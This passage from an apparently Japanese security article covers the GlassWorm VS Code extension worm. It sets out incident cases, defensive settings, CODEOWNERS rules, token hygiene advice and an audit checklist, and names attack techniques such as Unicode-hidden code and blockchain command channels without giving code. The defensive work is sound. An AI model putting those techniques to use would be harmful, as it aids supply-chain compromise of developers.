あるスタートアップで開発チーム全体(約50人)がGlassWormに感染した事例である。原因はVS Codeの拡張機能の自動アップデート機能だった。正常に使っていたテーマ拡張機能がある日、悪性のアップデートを配布し、自動アップデートが有効なすべての開発端末に即座に適用された。
教訓: 拡張機能のアップデートは手動で行い、アップデート前にチェンジログとコードの変更点をレビューするプロセスが必要である。
// 予防のための設定
{
"extensions.autoUpdate": false,
"extensions.autoCheckUpdates": true
// autoCheckUpdatesは通知のみで、自動インストールはしない
}
事例2: オープンソースのコントリビュータを通じたラテラルムーブメント
オープンソースプロジェクトのコントリビュータ1人が感染した後、そのプロジェクトの.vscode/extensions.jsonに悪性拡張機能が追加された事例である。コードレビュアーがこれを「開発環境設定のアップデート」とみなして承認したことが決定的なミスだった。
教訓: .vscode/ディレクトリの変更に対しても、セキュリティ観点のコードレビューが必要である。
# CODEOWNERSファイルで.vscode/パスに対するセキュリティレビュアーを指定
# .github/CODEOWNERS
.vscode/ @security-team
.github/workflows/ @security-team @devops-team
package.json @tech-lead @security-team
事例3: CI/CD環境への拡散
感染した開発者のGitHub TokenがCI/CDパイプラインのシークレットとしても使われていた事例である。攻撃者は窃取したトークンでGitHub Actionsのワークフローを改変し、ビルド過程で追加のマルウェアを注入した。
教訓: 個人トークンとCI/CDのシークレットを分離し、CI/CDには最小権限の専用サービスアカウントを使うべきである。
# 誤った例: 個人トークンをCI/CDで直接使用
# github-actions workflow内
# env:
# GITHUB_TOKEN: 個人のPAT (危険!)
# 正しい例: 専用サービスアカウント + 最小権限
# 1. CI/CD専用のGitHub Appを作成
# 2. 必要最小限の権限のみ付与 (例: contents:read, packages:write)
# 3. トークンの自動更新を有効化
今後の展望と対応の方向性
VS Code拡張機能エコシステムのセキュリティ強化ロードマップ
MicrosoftはGlassWormの事件を契機として、次のようなセキュリティ強化を予告した。
- 公開者認証の強化: 組織認証(Organization Verification)の必須化
- 拡張機能への署名の義務化: Sigstoreベースのコード署名体系の導入
- 権限モデルの導入: 拡張機能のシステムアクセス権限の細分化
- 自動セキュリティスキャン: 公開前のUnicode異常検出を含む静的解析
- SBOMの義務化: 拡張機能の依存関係の透明性の確保
開発者が今すぐできること
# 1. インストール済み拡張機能の監査
code --list-extensions --show-versions > ~/my-extensions.txt
# 2. 疑わしい拡張機能の特定
# ダウンロード数が少なく、最近アップデートされた拡張機能に注意
# Open VSXでのみ提供される拡張機能には特に注意
# 3. VS Codeのセキュリティ設定の適用
# settings.jsonに以下の設定を追加
code --install-extension ms-vscode.vscode-unicode-highlight
# 4. 定期的な認証情報のローテーション
# GitHub: 90日ごとにトークンを更新
# SSH: 四半期ごとに鍵をローテーション
# AWS: IAMポリシーで90日ごとの強制更新
参考資料
- The Hacker News - "GlassWorm Malware Infects 72+ Open VSX Extensions in Massive Supply Chain Attack" (March 2026)
- SecurityWeek - "Supply Chain Attack Targets VS Code Extensions with Invisible Unicode Obfuscation" (March 2026)
- Snyk Blog - "Defending Against GlassWorm: Detection Strategies for Unicode-Based Code Hiding" (March 2026)
- Veracode Research - "GlassWorm: The First Self-Propagating VS Code Extension Worm - Technical Analysis" (March 2026)
- DarkReading - "Self-Propagating GlassWorm Attacks 151+ GitHub Repos Through VS Code Extensions" (March 2026)
- Fluid Attacks Blog - "GlassWorm Supply Chain Attack: Blockchain C2 and Unicode Steganography Deep Dive" (March 2026)
- OWASP - "Software Supply Chain Attack Taxonomy and Mitigation" (2025)
- NIST - "NIST SP 800-218: Secure Software Development Framework (SSDF)" (2024)
- SLSA Framework - "Supply-chain Levels for Software Artifacts" (https://slsa.dev)
- Unicode Consortium - "Unicode Variation Sequences" (https://unicode.org/faq/vs.html)
まとめ
GlassWorm攻撃は「開発ツールは安全だ」という暗黙の信頼を完全に打ち砕いた。Unicode変異セレクタを活用したコード隠蔽、ブロックチェーンベースのC2チャネル、自己伝播メカニズムという3つの革新的手法の組み合わせは、既存のセキュリティモデルでは検出と防御が根本的に難しいという事実を証明した。
重要な点は、GlassWormが技術的に新しいものではなく、既知の手法を創造的に組み合わせたものだということである。Unicodeステガノグラフィ、ブロックチェーンC2、ワームの伝播はいずれもすでに研究された技術だが、それをVS Code拡張機能エコシステムという比較的ゆるいセキュリティ環境に適用した点がGlassWormの差別点である。
開発環境のセキュリティは、もはや選択ではなく必須である。本記事で提示した検出スクリプト、pre-commitフック、CI/CD統合スキャン、組織のセキュリティチェックリストを直ちに適用し、長期的にはゼロトラスト開発環境への移行を計画すべきである。サプライチェーン攻撃は進化を止めず、防御もまた絶えず進化しなければならない。